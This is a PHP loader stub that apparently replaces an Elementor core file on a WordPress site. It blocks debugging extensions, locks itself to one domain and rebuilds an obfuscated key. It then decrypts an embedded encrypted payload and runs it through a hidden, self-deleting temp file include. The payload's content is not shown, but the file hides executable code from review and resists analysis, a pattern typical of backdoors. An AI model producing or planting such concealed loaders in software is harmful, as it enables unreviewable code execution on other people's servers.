<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["U+xhEx8TIgI=","rJi17PPMiSk=","HskNKp+Xg3o=","brb0Q3s7I2M="]', true);
$__MASKS = json_decode('["lghLtKTH+7g=","sZ9I4TSw4Ws=","EQBtw1YM8Yk=","q6PsV0k2Lc0="]', true);
$__ROT   = json_decode('[2,3,4,2]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('FqF/3aIvUrHgLO0xB39VG15c2dNrPYIT');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9jb3JlL2Jhc2UvYXBwLnBocCIsInRzIjoxNzU2NjkzNzEzLCJleHBpcmVzIjowLCJkb21haW5zIjpbIml0c2hvbWFyLmlyIl0sIm9ubGluZSI6MCwid3AiOjEsImFsZ28iOiJ4Y2hhY2hhMjBwb2x5MTMwNV9pZXRmIn0=');
$__CT    = base64_decode('JzWKdC8pUwHACPatDkwi+H4KoaRyKsNqMmGmzqz9CkFirV20mUzu6TxoflDlu7wjH7Si9qouLcNpLkz8ZygkVFLKUSqte1P0/ReWdkurjGqunnUuN6mYDNjGq5TP3foSSnngy6tctlJFuhlJuz1h1cy4lSUnjCwxRHvagc1fafDhYiJQen5YA5z1lbKGGbnAK12e9AmU3xd26rsuCok6WyQcq8+tzZTh3gd6mw0pLg/0jpTYhzf6IoZ4p5K+QdoyLcn4KmrCeWHnollXrti1jqtd1EzcGnR5yr0QjJynpMgc1LdichQHBHiTkTqlV9T8Vnh+OOAUidN1oGsD/o7zUnnCs9yj40Yp5hPZ1JpNTVVvtj7Z/ZHUCqMzO16IYtTHMRfqMDgfehd00HEQHJYjA6lyVO93WjDKJPROyZt0UeoSjswuT5VAUKivp8+XYcD3ghzGMIopsh7bCgbSlKyX/hp4QeFod5CuHe2TUANW8wQxuKabGjuOQcFfjatZcPldk+Y62eez1W++AAi9vs9ynn0tG5IjjGpkwD2uJJIVr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6QFUI62A5jyQlOoR679FbOJCj2V1hRVqAK4Z8Pa1WAEltpnqjZnt/k3kcMRPVTG0=');

// Signature verification
$__PK  = base64_decode('j+HOz8vSWejLGnd1XbdmmJz0LbdXi9t95Kc3arEoECs=');
$__SIG = base64_decode('X6rACff+8mlO98b8QkZ0ADwsTjkOzSDzXkKwFaSMaHUzt72WsK3yWIUaWtumRnw/W1yUsIPsHDrO/4jFS1TeDg==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
